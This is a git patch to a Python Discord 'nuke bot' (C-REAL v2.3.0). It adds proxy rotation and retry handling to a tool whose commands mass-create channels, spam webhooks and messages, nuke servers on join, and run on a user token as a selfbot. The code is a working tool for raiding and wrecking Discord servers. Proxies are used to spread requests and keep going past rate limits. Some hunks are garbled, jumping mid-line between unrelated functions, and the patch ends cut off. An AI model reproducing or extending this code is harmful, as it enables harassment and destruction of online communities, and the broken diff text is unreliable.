From cf8a40031b886ff119a850388b5feecccec79a84 Mon Sep 17 00:00:00 2001 From: TKperson Date: Thu, 18 Feb 2021 12:58:36 -0800 Subject: [PATCH] Update c-realV2.py --- c-realV2.py | 838 +++++++++++++++++++++++++--------------------------- 1 file changed, 410 insertions(+), 428 deletions(-) diff --git a/c-realV2.py b/c-realV2.py index bed9337..84c1791 100644 --- a/c-realV2.py +++ b/c-realV2.py @@ -3,7 +3,7 @@ """ MIT License -Copyright (c) 2020 +Copyright (c) 2020 - 2021 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal @@ -36,22 +36,17 @@ from queue import Queue from io import BytesIO from math import ceil - if sys.platform == 'linux': import simplejson as json else: import json # style from colorama import init, Fore -from discord.ext.commands import Cog -from discord.ext.commands import command -from discord.utils import get - init(autoreset=True) # __TITLE__ = "C-REAL" -__VERSION__ = "2.2.5" +__VERSION__ = "2.3.0" __AUTHOR__ = "TKperson" __LICENSE__ = "MIT" @@ -60,7 +55,6 @@ commands_per_page = 5 number_of_bomb_default = 250 selected_server = None -selected_server_member_bot = None sorted_commands = [] webhook_targets = [] saved_ctx = None @@ -68,31 +62,20 @@ auto_nick = False auto_status = False selfbot_has_perm = False - -''' #### Not planning to use regex -Super expensive regex if used to check long strings -Find --------------- -hostname/path -supported protocols: -https:// -http:// -ftps:// -ftp:// -IPv4/path -IPv6/path -''' - - -# import re -# re_url = r'\b((?:https?://)?(?:ftps?://)?(?:(?:www\.)?(?:[\da-z\.-]+)\.(?:[a-z]{2,6})|(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)|(?:(?:[0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|(?:[0-9a-fA-F]{1,4}:){1,7}:|(?:[0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|(?:[0-9a-fA-F]{1,4}:){1,5}(?::[0-9a-fA-F]{1,4}){1,2}|(?:[0-9a-fA-F]{1,4}:){1,4}(?::[0-9a-fA-F]{1,4}){1,3}|(?:[0-9a-fA-F]{1,4}:){1,3}(?::[0-9a-fA-F]{1,4}){1,4}|(?:[0-9a-fA-F]{1,4}:){1,2}(?::[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:(?:(?::[0-9a-fA-F]{1,4}){1,6})|:(?:(?::[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(?::[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(?:ffff(?::0{1,4}){0,1}:){0,1}(?:(?:25[0-5]|(?:2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(?:25[0-5]|(?:2[0-4]|1{0,1}[0-9]){0,1}[0-9])|(?:[0-9a-fA-F]{1,4}:){1,4}:(?:(?:25[0-5]|(?:2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(?:25[0-5]|(?:2[0-4]|1{0,1}[0-9]){0,1}[0-9])))(?::[0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])?(?:/[\w\.-]*)*/?)\b' +timeout = 6 +fetching_members = False # normal functions============== def exit(): - input('Press enter to exit...') + try: + input('Press enter to exit...') + except KeyboardInterrupt: + pass + except EOFError: + pass sys.exit(1) - -def read_json(): +def readJson(): temp = None from pathlib import Path try: @@ -100,8 +83,7 @@ def read_json(): temp = json.load(open(Path().absolute().__str__() + '/default.json')) else: try: - print( - 'Cannot find side-by-side default.json file for configuration. Try entering a full path or local path to the configuration file.') + print('Cannot find side-by-side default.json file for configuration. Try entering a full path or local path to the configuration file.') uinput = input('Path: ') except KeyboardInterrupt: sys.exit(0) @@ -118,14 +100,17 @@ def read_json(): except json.decoder.JSONDecodeError: print('Unreadable json formatting in the given configuration file. Make sure the formats are correct.') exit() + + for nonessential in ['bomb_messages', 'webhook_spam', 'after', 'proxies']: + if not nonessential in temp: + temp[nonessential] = None + try: - return temp['token'], temp['permissions'], temp['bomb_messages'], temp['webhook_spam'], str( - temp['bot_permission']), temp['command_prefix'], temp['bot_status'], temp['verbose'], temp['after'] + return temp['token'], temp['permissions'], temp['bomb_messages'], temp['webhook_spam'], str(temp['bot_permission']), temp['command_prefix'], temp['bot_status'], temp['verbose'], temp['after'], temp['proxies'] except KeyError as e: - print(f'Missing arguments in the configuration file. {e} is missing.') + print(f'Missing keys in the configuration file. {e} is missing.') exit() - def banner(): # Some consoles are **** so I don't know why they are so **** so so so so I used std::cout sys.stdout.buffer.write(f'''\ @@ -137,11 +122,10 @@ def banner(): ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝ cyxl '''.encode('utf8')) - if version.parse('1.5.1') > version.parse(discord.__version__): print('Please update your discord.py.') exit() -token, permissions, bomb_messages, webhook_spam, bot_permission, command_prefix, bot_status, verbose, after = read_json() +token, permissions, bomb_messages, webhook_spam, bot_permission, command_prefix, bot_status, verbose, after, proxies = readJson() want_log_request = want_log_console = want_log_message = want_log_errors = False @@ -154,34 +138,45 @@ def banner(): if verbose & 1 << 3: want_log_errors = True +def randomProxy(protocol): + # As long it works fine then i'm using this method + if proxies is None or len(proxies) == 0: + return None + return {protocol: choice(proxies)} is_selfbot = True try: headers = {'authorization': token, 'content-type': 'application/json'} print('Checking selfbot token.', end='\r') - if not 'id' in requests.get(url='https://discord.com/api/v8/users/@me', headers=headers).json(): + if not 'id' in requests.get(url='https://discord.com/api/v8/users/@me', proxies=randomProxy('https'), timeout=timeout, headers=headers).json(): # This is the hardest thing that I have tried to find in my life took me ages to know "Bot " is actually the bot's authorization # Reading source codes is always a good thing :) headers['authorization'] = 'Bot ' + token print('Checking normal bot token.', end='\r') - if not 'id' in requests.get(url='https://discord.com/api/v8/users/@me', headers=headers).json(): + if not 'id' in requests.get(url='https://discord.com/api/v8/users/@me', proxies=randomProxy('https'), timeout=timeout, headers=headers).json(): print('Invalid token is being used.') exit() else: is_selfbot = False +except requests.exceptions.ProxyError: + print('Bad proxy is being used. You can try to change a proxy or restart the bot.') + exit() +except requests.exceptions.ConnectTimeout: + print(f'Proxy reached maximum load time: timeout is {timeout} seconds long.') + exit() except requests.exceptions.ConnectionError: - print( - 'You should probably consider connecting to the internet before using any discord related stuff. If you are connected to wifi and still seeing this message, then maybe try turn off your VPN/proxy/TOR node. If you are still seeing this message or you just don\'t what to turn off vpn, you can try to use websites like repl/heroku/google cloud to host the bot for you. The source code is on https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot.') + raise + print('You should probably consider connecting to the internet before using any discord related stuff. If you are connected to wifi and still seeing this message, then maybe try turn off your VPN/proxy/TOR node. If you are still seeing this message or you just don\'t what to turn off vpn, you can try to use websites like repl/heroku/google cloud to host the bot for you. The source code is on https://github.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot.') exit() ### check updates print('Checking update... ', end='\r') -github_version = requests.get( - 'https://raw.githubusercontent.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot/master/VERSION.txt').text +github_version = requests.get('https://raw.githubusercontent.com/TKperson/Nuking-Discord-Server-Bot-Nuke-Bot/master/VERSION.txt').text if version.parse(github_version) > version.parse(__VERSION__): print(f'New C-REAL update has been launched -> {github_version} <- :party:') print('Loading scripts...' + ' ' * 15, end='\r') + """ command_prefix - command prefix case_insensitive - commands will be callable without case retrictions if this is set to true @@ -194,11 +189,8 @@ def banner(): disabling and enabling certain gateway events from triggering and being sent. If not given, defaults to a regularly constructed :class:`Intents` class. """ -client = commands.Bot(command_prefix=command_prefix, case_insensitive=True, self_bot=is_selfbot, - intents=discord.Intents().all()) +client = commands.Bot(command_prefix=command_prefix, case_insensitive=True, self_bot=is_selfbot, intents=discord.Intents().all(), proxies=randomProxy('http')) client.remove_command('help') - - ######### Events ######### @client.event async def on_connect(): @@ -211,17 +203,7 @@ async def on_connect(): global sorted_commands sorted_commands = sorted(client.commands, key=lambda e: e.name[0]) - if bot_status == 'offline': - await client.change_presence(status=discord.Status.offline) - elif bot_status == 'invisible': - await client.change_presence(status=discord.Status.invisible) - elif bot_status == 'online': - await client.change_presence(status=discord.Status.online) - elif bot_status == 'idle': - await client.change_presence(status=discord.Status.idle) - elif bot_status == 'dnd' or bot_status == 'do_not_disturb': - await client.change_presence(status=discord.Status.do_not_disturb) - + await changeStatus(None, bot_status) @client.event async def on_ready(): @@ -238,36 +220,21 @@ async def on_ready(): if is_selfbot: print(f'| {Fore.YELLOW}+ [Selfbot] This is a selfbot. Join servers with join codes.') else: - print( - f'| {Fore.YELLOW}+ https://discord.com/api/oauth2/authorize?client_id={client.user.id}&permissions={bot_permission}&scope=bot') + print(f'| {Fore.YELLOW}+ https://discord.com/api/oauth2/authorize?client_id={client.user.id}&permissions={bot_permission}&scope=bot') print('| ~*************************************') print('\\+-----') - # DEBUG REQUESTS MODE - - # global selected_server # selected_server = client.guilds[1] - # from dill.source import getsource - # print(getsource(selected_server.create_text_channel)) - # import logging - - # # These two lines enable debugging at httplib level (requests->urllib3->http.client) - # # You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA. - # # The only thing missing will be the response.body which is not logged. - # import http.client as http_client - # http_client.HTTPConnection.debuglevel = 1 + # channel = selected_server.channels[0] + # print(channel.name) - # # You must initialize logging, otherwise you'll not see debug output. - # logging.basicConfig() - # logging.getLogger().setLevel(logging.DEBUG) - # requests_log = logging.getLogger("requests.packages.urllib3") - # requests_log.setLevel(logging.DEBUG) - # requests_log.propagate = True + # done = channel.overwrites_for(client.user) + # print(dir(done)) - # idk why i chose this link... + # for i in dir(done): + # print() - # # requests.get('https://httpbin.org/headers') - # await selected_server.create_text_channel('lol') + # print(done._values) @client.event @@ -279,9 +246,9 @@ async def on_disconnect(): await changeStatus(None, 'offline') - ### logs ### async def log(ctx, message): + """ Logging messages to the user no args, but has settings. @@ -292,8 +259,7 @@ async def log(ctx, message): - coming soon """ if want_log_message: - if not isDM( - ctx) and ctx.guild.id == selected_server.id and 1 << 11 & selected_server_member_bot.guild_permissions.value == 0: + if not isDM(ctx) and ctx.guild.id == selected_server.id and 1 << 11 & selected_server.me.guild_permissions.value == 0: consoleLog(message, True) else: try: @@ -304,7 +270,6 @@ async def log(ctx, message): except: consoleLog(message) - def consoleLog(message, print_time=False): if want_log_console: TIME = '' @@ -313,10 +278,9 @@ def consoleLog(message, print_time=False): try: print(f'{TIME}{message}') - except TypeError: # when there's a character that can't be logged with python print function. + except TypeError: # when there's a character that can't be logged with python print function. sys.stdout.buffer.write(f'{TIME}{message}'.encode('utf8')) - @client.event async def on_command_error(ctx, error): # source: https://gist.github.com/AileenLumina/510438b241c16a2960e9b0b014d9ed06 @@ -355,7 +319,7 @@ async def on_command_error(ctx, error): fmt = ' and '.join(missing) _message = 'I need the **{}** permission(s) to run this command.'.format(fmt) await log(ctx, _message) - + elif isinstance(error, commands.MissingPermissions): missing = [perm.replace('_', ' ').replace('guild', 'server').title() for perm in error.missing_perms] if len(missing) > 2: @@ -366,8 +330,8 @@ async def on_command_error(ctx, error): await log(ctx, _message) elif isinstance(error, commands.CommandInvokeError): await log(ctx, 'Command invoke error') - - elif isinstance(error, discord.errors.HTTPException): # usually caused by sending over 2000 characters limit + + elif isinstance(error, discord.errors.HTTPException): # usually caused by sending over 2000 characters limit # has already been handled in "def log" pass @@ -375,12 +339,12 @@ async def on_command_error(ctx, error): await log(ctx, 'Invalid input.') elif isinstance(error, commands.MissingRequiredArgument): - if error.param .name == 'inp': + if error.param.name == 'inp': await log(ctx, 'You forgot to give me input to repeat!') elif isinstance(error, commands.BadArgument): - if ctx.command.qualified_name == 'tag list': # Check if the command being invoked is 'tag list' - await log(ctx, 'I could not find that member. Please try again.') + if ctx.command.qualified_name == 'tag list': # Check if the command being invoked is 'tag list' + await log(ctx, 'I could not find that member. Please try again.') else: # 'args', 'code', 'response', 'status', 'text', 'with_traceback' @@ -388,28 +352,24 @@ async def on_command_error(ctx, error): # print(error.args) # print(type(error.args)) - try: # Don't want too many things logged into discord + try: # Don't want too many things logged into discord await log(ctx, '%s' % error.args) - except discord.errors.NotFound: # When ctx.channel is deleted + except discord.errors.NotFound: # When ctx.channel is deleted pass - except TypeError: # When there's a charater that can't be logged into discord. Like if error.args contains a tuple which can't be automatically turned into a string. + except TypeError: # When there's a charater that can't be logged into discord. Like if error.args contains a tuple which can't be automatically turned into a string. consoleLog(f'{Fore.RED}Error -> {error.args}: {Fore.YELLOW}When to using "{ctx.message.content}".', True) - if is_selfbot: @client.event async def on_message(message): if message.content.startswith(command_prefix) and checkPerm(await client.get_context(message)): if message.author.id == client.user.id and not selfbot_has_perm: - consoleLog( - f'{Fore.YELLOW}Account owner {Fore.LIGHTBLUE_EX}"{client.user.name}#{client.user.discriminator}" {Fore.YELLOW}tried to use {Fore.LIGHTBLUE_EX}"{message.content}"{Fore.BLUE}. Too bad, he/she doesn\'t of the power to use this bot.', - True) + consoleLog(f'{Fore.YELLOW}Account owner {Fore.LIGHTBLUE_EX}"{client.user.name}#{client.user.discriminator}" {Fore.YELLOW}tried to use {Fore.LIGHTBLUE_EX}"{message.content}"{Fore.BLUE}. Too bad, he/she doesn\'t of the power to use this bot.', True) return message.author = client.user await client.process_commands(message) - @client.event async def on_guild_join(guild): if nuke_on_join: @@ -417,26 +377,24 @@ async def on_guild_join(guild): selected_server = guild await nuke(saved_ctx) - def isDM(ctx): """ No args Checking if the ctx is whether from DM or in a server. There are different handlers for handling some commands. """ - if isinstance(ctx.channel, discord.channel.DMChannel): - return True # in dm - return False # in server - + return isinstance(ctx.channel, discord.channel.DMChannel) + # if isinstance(ctx.channel, discord.channel.DMChannel): + # return True # in dm + # return False # in server def nameIdHandler(name): if name.startswith('<@!') or name.startswith('<@&'): return name[:-1][3:] return name - async def embed(ctx, n, title, array): """ - param eters: + Parameters: n - page number. And default is 1 title - Command name/title array - The list for handling @@ -469,31 +427,26 @@ async def embed(ctx, n, title, array): names += f'{item.name}\n' ids += f'{str(item.id)}\n ' - if not isDM(ctx) and 1 << 11 & selected_server_member_bot.guild_permissions.value == 0 and ( - selected_server is None or ctx.guild.id == selected_server.id): + if not isDM(ctx) and 1 << 11 & selected_server.me.guild_permissions.value == 0 and (selected_server is None or ctx.guild.id == selected_server.id): names = names.split('\n') ids = ids.split(' ') - consoleLog( - f'\n{Fore.GREEN}*{title}*\n{Fore.RESET}Total count: {Fore.YELLOW}{str(item_length)}\n{Fore.GREEN}__Name__{" " * 13}{Fore.CYAN}__ID__\n{"".join([(Fore.GREEN + names[i].ljust(21) + Fore.CYAN + ids[i]) for i in range(len(names) - 1)])}{Fore.YELLOW}{n + 1}/{str(ceil(item_length / per_page))}', - True) + consoleLog(f'\n{Fore.GREEN}*{title}*\n{Fore.RESET}Total count: {Fore.YELLOW}{str(item_length)}\n{Fore.GREEN}__Name__{" " * 13}{Fore.CYAN}__ID__\n{ "".join([(Fore.GREEN + names[i].ljust(21) + Fore.CYAN + ids[i]) for i in range(len(names) - 1)]) }{Fore.YELLOW}{n+1}/{str(ceil(item_length / per_page))}', True) else: try: theColor = randint(0, 0xFFFFFF) embed = discord.Embed( - title=title, - description=f'Total count: {str(item_length)}; color: #{hex(theColor)[2:].zfill(6)}', - color=theColor + title = title, + description = f'Total count: {str(item_length)}; color: #{hex(theColor)[2:].zfill(6)}', + color = theColor ) embed.add_field(name='Name', value=names, inline=True) embed.add_field(name='ID', value=ids, inline=True) - embed.set_footer(text=f'{n + 1}/{str(ceil(item_length / per_page))}') + embed.set_footer(text=f'{n+1}/{str(ceil(item_length / per_page))}') await ctx.send(embed=embed) except: names = names.split('\n') ids = ids.split(' ') - await ctx.send( - f'```*{title}*\nTotal count: {str(item_length)}\n__Name__{" " * 13}__ID__\n{"".join([(names[i].ljust(21) + ids[i]) for i in range(len(names) - 1)])}{n + 1}/{str(ceil(item_length / per_page))}```') - + await ctx.send(f'```*{title}*\nTotal count: {str(item_length)}\n__Name__{" " * 13}__ID__\n{ "".join([(names[i].ljust(21) + ids[i]) for i in range(len(names) - 1)]) }{n+1}/{str(ceil(item_length / per_page))}```') async def hasTarget(ctx): """ @@ -507,181 +460,239 @@ async def hasTarget(ctx): return True elif not isDM(ctx): await connect(ctx) - await log(ctx, - f'You have been automatically `{command_prefix}connect` to server `{selected_server.name}` because you are not connected to a server and using a command inside a server.') + await log(ctx, f'You have been automatically `{command_prefix}connect` to server `{selected_server.name}` because you are not connected to a server and using a command inside a server.') return True else: await log(ctx, f'I am not connected to a server. Try `{command_prefix}servers` and `{command_prefix}connect`') return False - def containing(a, b): for c in a: if c.name.lower() == b.lower() or str(c.id) == b: return c return None - def checkPerm(ctx): for user in permissions: if str(ctx.author.id) == user or f'{ctx.author.name}#{ctx.author.discriminator}' == user: return True if not isDM(ctx): - consoleLog( - f'{Fore.LIGHTRED_EX}{ctx.author.name}#{ctx.author.discriminator} {Fore.RESET}tried to use {Fore.LIGHTYELLOW_EX}"{ctx.message.content}" {Fore.RESET}in server {Fore.LIGHTYELLOW_EX}"{ctx.guild.name}"{Fore.RESET}, at channel {Fore.LIGHTYELLOW_EX}"{ctx.channel.name}"{Fore.RESET}.', - True) + consoleLog(f'{Fore.LIGHTRED_EX}{ctx.author.name}#{ctx.author.discriminator} {Fore.RESET}tried to use {Fore.LIGHTYELLOW_EX}"{ctx.message.content}" {Fore.RESET}in server {Fore.LIGHTYELLOW_EX}"{ctx.guild.name}"{Fore.RESET}, at channel {Fore.LIGHTYELLOW_EX}"{ctx.channel.name}"{Fore.RESET}.', True) else: - consoleLog( - f'{Fore.LIGHTRED_EX}{ctx.author.name}#{ctx.author.discriminator} {Fore.RESET}tried to use {Fore.LIGHTYELLOW_EX}"{ctx.message.content}" {Fore.RESET}in {Fore.LIGHTYELLOW_EX}the bot\'s direct message{Fore.RESET}.', - True) + consoleLog(f'{Fore.LIGHTRED_EX}{ctx.author.name}#{ctx.author.discriminator} {Fore.RESET}tried to use {Fore.LIGHTYELLOW_EX}"{ctx.message.content}" {Fore.RESET}in {Fore.LIGHTYELLOW_EX}the bot\'s direct message{Fore.RESET}.', True) return False - def fixedChoice(): return bomb_messages['fixed'][randint(0, len(bomb_messages['fixed']) - 1)] - base64_char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/' - - def random_b64(): return ''.join(choice(base64_char) for _ in range(bomb_messages['random'])) - alphanum = '0123456789!@#$%^&*ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' - - def random_an(): return ''.join(choice(alphanum) for _ in range(bomb_messages['random'])) +def sendMessagePerm(ctx): + pass + + +def checkTalkPerm(ctx): + if isDM(ctx): # you can always talk in dm + return True + # return calcPerm(ctx, ) and 16384 & ctx.channel. + +# class discordMember: +# def __init__(self, name, id_, discriminator=None, channel_id=None): +# self.name = name +# self.id = id_ +# self.discriminator = discriminator +# self.channel_id = channel_id +# server_members = [] + +# def copyMember(author): +# server_members.append(discordMember(author['username'], author['id'], author['discriminator'])) + +# def autoFindChannel(): +# for channel in selected_server.text_channels: +# for name in ['join', 'welcome', 'incoming']: +# if name in channel.name: +# return channel.id +# return None ######### Commands ########## ######### Listing ########## - @commands.check(checkPerm) -@client.command(name='help', aliases=['h', 'commands'], - description='Display all the commands. args: [Optional: type: all/names/command: default=names] [Optional: n: n of page]') -async def help(ctx, s='names', n=1): - if (n := n - 1) < 0: - return await ctx.send('Invalid page number.') - - item_length = len(sorted_commands) - if item_length == 0: - return await ctx.send('Error in commands.') - init_item = n * commands_per_page - page_max = ceil(item_length / commands_per_page) - if init_item > item_length - commands_per_page: - if init_item > item_length: - return await ctx.send('Invalid page number.') - final_item = init_item + (item_length % commands_per_page) - else: - final_item = init_item + commands_per_page - - helptext = '```' - - embed = discord.Embed( - title='Commands', - description='Total count: ' + str(item_length), - color=discord.Color.red() - ) - - if s.lower() == 'all': - i = 0 - for command in sorted_commands: - if i < init_item: - i += 1 - continue - helptext += f'[{command.name}]: {command.description}\n\n' - if i >= final_item - 1: - break - i += 1 - embed.set_footer(text=f'{n + 1}/{page_max}') - elif s.lower() == 'names': +@client.command(name='help', aliases=['h', 'commands']) +async def help(ctx, asked_command=None): + help_list = '```' + if asked_command is None: for command in sorted_commands: - helptext += f'{command.name}\n' + help_list += f'[{command.name}] ' + await ctx.send(help_list + f'\n\nYou can try {command_prefix}help to see all the aliases for the command. Or read the manual.md for more infomation about the commands.```') else: - if len(s) > 20: - s = '' - helptext = f'```Command {s} doesn\'t exist.' for command in sorted_commands: - if command.name.lower() == s.lower(): - helptext = f'```[{command.name}]: {command.description} \n\nAliases: {command.aliases}' - break + if asked_command.lower() == command.name.lower(): + help_command = f'```{command_prefix}<{command.name}' + for aliase in command.aliases: + help_command += f'|{aliase}' + help_command += '>' + + for param, default in command.params.items(): + if param == 'ctx': + continue - helptext += '```' + if default.empty is not default.default: + help_command += ' {' + param + '=' + str(default.default) + '}' + else: + help_command += ' [' + param + ']' + if default.kind.name == 'KEYWORD_ONLY': + break + help_command += '```' - embed.add_field(name='Name', value=helptext, inline=False) - await ctx.send(embed=embed) + await ctx.send(help_command) + return + await log(ctx, f'Unable to find command `{asked_command}`.') @commands.check(checkPerm) -@client.command(name='servers', aliases=['se', 'server'], description='Show the servers the bot is in.') -async def servers(ctx, n='1'): - if not isDM(ctx): - global selected_server_member_bot - selected_server_member_bot = containing(ctx.guild.members, str(client.user.id)) - +@client.command(name='servers', aliases=['se', 'server']) +async def servers(ctx, n='1'): await embed(ctx, n, 'Servers', client.guilds) - @commands.check(checkPerm) -@client.command(name='channels', aliases=['tc', 'textchannels', 'textchannel', 'channel'], description='Shows the channels that are in the server you are connected to.') +@client.command(name='channels', aliases=['tc', 'textchannels', 'textchannel', 'channel']) async def channels(ctx, n='1'): if not await hasTarget(ctx): return await embed(ctx, n, 'Text channels', selected_server.text_channels) - @commands.check(checkPerm) -@client.command(name='roles', aliases=['ro', 'role'], description='Shows the roles that are in the server you are connected to.') +@client.command(name='roles', aliases=['ro', 'role']) async def roles(ctx, n='1'): if not await hasTarget(ctx): return await embed(ctx, n, 'Roles', selected_server.roles) - @commands.check(checkPerm) -@client.command(name='categories', aliases=['cat', 'category'], description='Shows the categories that are in the server you are connected to.') +@client.command(name='categories', aliases=['cat', 'category']) async def categories(ctx, n='1'): if not await hasTarget(ctx): return await embed(ctx, n, 'Categories', selected_server.categories) - @commands.check(checkPerm) -@client.command(name='voiceChannels', aliases=['vc', 'voicechannel'], description='Shows the voiceChannels that are in the server you are conencted to.') +@client.command(name='voiceChannels', aliases=['vc', 'voicechannel']) async def voiceChannels(ctx, n='1'): if not await hasTarget(ctx): return await embed(ctx, n, 'Voice channels', selected_server.voice_channels) - @commands.check(checkPerm) -@client.command(name='emojis', alises=['em', 'emoji'], description='Shows the emojis that are in the server you are connected to.') +@client.command(name='emojis', alises=['em', 'emoji']) async def emojis(ctx, n='1'): if not await hasTarget(ctx): return await embed(ctx, n, 'Emojis', selected_server.emojis) - @commands.check(checkPerm) -@client.command(name='members', alises=['me', 'member'], description='Shows the members that are in the server you are connected to.') -async def members(ctx, n='1'): +@client.command(name='members', alises=['me', 'member']) +async def members(ctx, command='1', *, args=None): if not await hasTarget(ctx): return - await embed(ctx, n, 'Members', selected_server.members) - + await embed(ctx, command, 'Members', selected_server.members) + + # global server_members + + # if command.isdigit(): + # if is_selfbot: + # await embed(ctx, command, 'Members', server_members) + # else: + # await embed(ctx, command, 'Members', selected_server.members) + # else: + # # def gFetchableChannel(channel_id): # check if the channel is good for fectching channel + # # pass + # if command == 'fetch': + # global fetching_members + # args = args.split() + + # if not is_selfbot: + # await log(f'Fetch command is only made for selfbot; since you are using normal bots, all members in the server `{selected_server.name}` has already be fetched. Try `{command_prefix}members` to see all the fetched members.') + # return + + # if args[0].lower() == 'auto': + # channel_id = autoFindChannel() + # if channel_id is None: + # await log(ctx, f'Unable to find welcome channels. You have to enter the welcome channel\'s in server `{selected_server.name}` manually.') + # return + # elif args[0].lower() == 'stop': + # fetching_members = False + # await log(ctx, 'Fetching stopped.') + # return + # elif args[0].isdigit(): + # channel_id = args[0] + # else: + # await log(ctx, 'Invalid argument: You can only enter `fetch auto` or `fetch `.') + # return + # # Making sure channel_id is a string + # channel_id = str(channel_id) + + # if len(args) < 3: + # cooldown = 0 + # elif args[2].isdigit(): + # cooldown = int(args[2]) + # else: + # await log(ctx, 'Please set a positive integer for the cooldown time of fetching every 100 messages. Use `0` if you don\'t want a cooldown.') + # return + + # if args[1].lower() == 'fast': + # fetching_members = True + # url = f'https://discord.com/api/v8/channels/{channel_id}/messages?limit=100' + # await log(ctx, f'```Fetching has started.\nCheck progress: `{command_prefix}members`\nStop fetching: `{command_prefix}members fetch stop`.\nCooldown: `{cooldown}` seconds.\nNote: duplicated users will only get removed after the fetching stops.```') + # while fetching_members: + # r = requests.get(url, headers=headers, proxies=randomProxy('https'), timeout=timeout).json() + # if len(r) == 0: + # break + # for message in r: + # if message['mentions']: # len(message['content']) > 0 and + # for mention in message['mentions']: + # copyMember(mention) + # elif len(message['attachments']) > 0: + # pass # no handler for images + # elif len(message['embeds']) > 0: + # pass # no handlers for embeds mentions + # else: + # copyMember(message['author']) + # url = f'https://discord.com/api/v8/channels/{channel_id}/messages?before={r[-1]["id"]}&limit=100' + # if cooldown > 0: + # await asyncio.sleep(cooldown) + + # elif args[1].lower() == 'all': + # await log(ctx, f'```Fetching has started.\nCheck progress: `{command_prefix}members`\nStop fetching: `{command_prefix}members fetch stop`.\nCooldown: `{cooldown}` seconds.\nNote: duplicated users will only get removed after the fetching stops.```') + # pass + # else: + # await log(ctx, 'You need to choose a fetching operation. Options are `all` or `fast`.') + + # # Removing duplicates + + # if len(server_members) > 1: + # temp = [] + # temp.append(server_members[0]) + # for member_ in server_members: + # for i in temp: + # temp.append(member_) + + # server_members = temp @commands.check(checkPerm) -@client.command(name='bans', description='Shows all the bans in the server that you are connected to.') +@client.command(name='bans') async def bans(ctx, n='1'): if not await hasTarget(ctx): return await embed(ctx, n, 'Bans', [s.user for s in await selected_server.bans()]) - @commands.check(checkPerm) -@client.command(name='connect', aliases=['con'], description='Connects the bot to a server.') +@client.command(name='connect', aliases=['con']) async def connect(ctx, *, server=None): if server is None and not isDM(ctx): server = ctx.guild @@ -692,15 +703,15 @@ async def connect(ctx, *, server=None): await log(ctx, f'Unable to find {temp_name} server.') return - global selected_server, selected_server_member_bot + global selected_server, server_members selected_server = server - selected_server_member_bot = containing(selected_server.members, str(client.user.id)) + for user in server.members: + server_members.append(discordMember(user.name, user.id, user.discriminator)) await log(ctx, f'Successfully connected to `{server.name}`.') - ######### Unities ########## @commands.check(checkPerm) -@client.command(name='addChannel', aliases=['aCh', 'aChannel'], description='Adds a channel to the server you are connected to.') +@client.command(name='addChannel', aliases=['aCh', 'aChannel']) async def addChannel(ctx, channel_name, *, category=None): if not await hasTarget(ctx): return @@ -723,9 +734,8 @@ async def addChannel(ctx, channel_name, *, category=None): await log(ctx, f'Unable to add channel `{channel_name}`.') raise - @commands.check(checkPerm) -@client.command(name='addVoiceChannel', aliases=['aVoiceChannel', 'aVC'], description='Adds a voiceChannel to the server you are connected to.') +@client.command(name='addVoiceChannel', aliases=['aVoiceChannel', 'aVC']) async def addVoiceChannel(ctx, voice_channel, *, category=None): if not await hasTarget(ctx): return @@ -748,41 +758,38 @@ async def addVoiceChannel(ctx, voice_channel, *, category=None): await log(ctx, f'Unable to add VC `{voice_channel}`.') raise - @commands.check(checkPerm) -@client.command(name='addEmoji', aliases=['aEmoji', 'aEm'], description='Adds an emoji to the server you are connected to.') +@client.command(name='addEmoji', aliases=['aEmoji', 'aEm']) async def addEmoji(ctx, item, *, name=None, bits=None): if not await hasTarget(ctx): return if bits is None: # Raw IPv4 and IPv6 are not supported - if item.startswith(('https://', 'http://', 'ftp://', 'ftps://')): # Link EX: https://www.example.com/aaa.png + if item.startswith(('https://', 'http://', 'ftp://', 'ftps://')): # Link EX: https://www.example.com/aaa.png try: if name is None: await log(ctx, 'Name for emoji? I\'m not always going to name it for you...') - return + return await selected_server.create_custom_emoji(name=(name), image=BytesIO(requests.get(item).content).read()) await log(ctx, f'Successfully added emoji `{name}`.') except: raise - elif item[0] == '<': # EX: + elif item[0] == '<': # EX: item = item.split(':') if name is None: name = item[1] try: - if item[0] == ' 5: - consoleLog( - f'Rate limiting has been reached, and this request has been cancelled due to retry-after time is greater than 5 seconds: Wait {str(r["retry_after"])} more seconds.') + consoleLog(f'Rate limiting has been reached, and this request has been cancelled due to retry-after time is greater than 5 seconds: Wait {str(r["retry_after"])} more seconds.') q.task_done() continue consoleLog(f'Rate limiting has been reached: Wait {str(r["retry_after"])} more seconds.') q.put((requesting, url, headers, payload)) elif want_log_request and 'code' in r: consoleLog('Request cancelled due to -> ' + r['message']) - except json.decoder.JSONDecodeError: pass - q.task_done() + except requests.exceptions.ProxyError: + consoleLog(f'Proxy "{proxy}" did not respond to a request. Trying...') + q.put((requesting, url, headers, payload)) + except requests.exceptions.ConnectTimeout: + consoleLog(f'Proxy reached maximum load time: timeout is {timeout} seconds long {proxy}') + q.put((requesting, url, headers, payload)) + except Exception as e: + consoleLog(f'Unexpected error: {str(e)}') + q.task_done() for i in range(concurrent): - _thread = Thread(target=requestMaker, daemon=True) - _thread.start() - + Thread(target=requestMaker, daemon=True).start() @commands.check(checkPerm) -@client.command(name='channelBomb', description='Makes a ton of random channels in the connected server.') +@client.command(name='channelBomb') async def channelBomb(ctx, n, method='fixed'): if not await hasTarget(ctx): return @@ 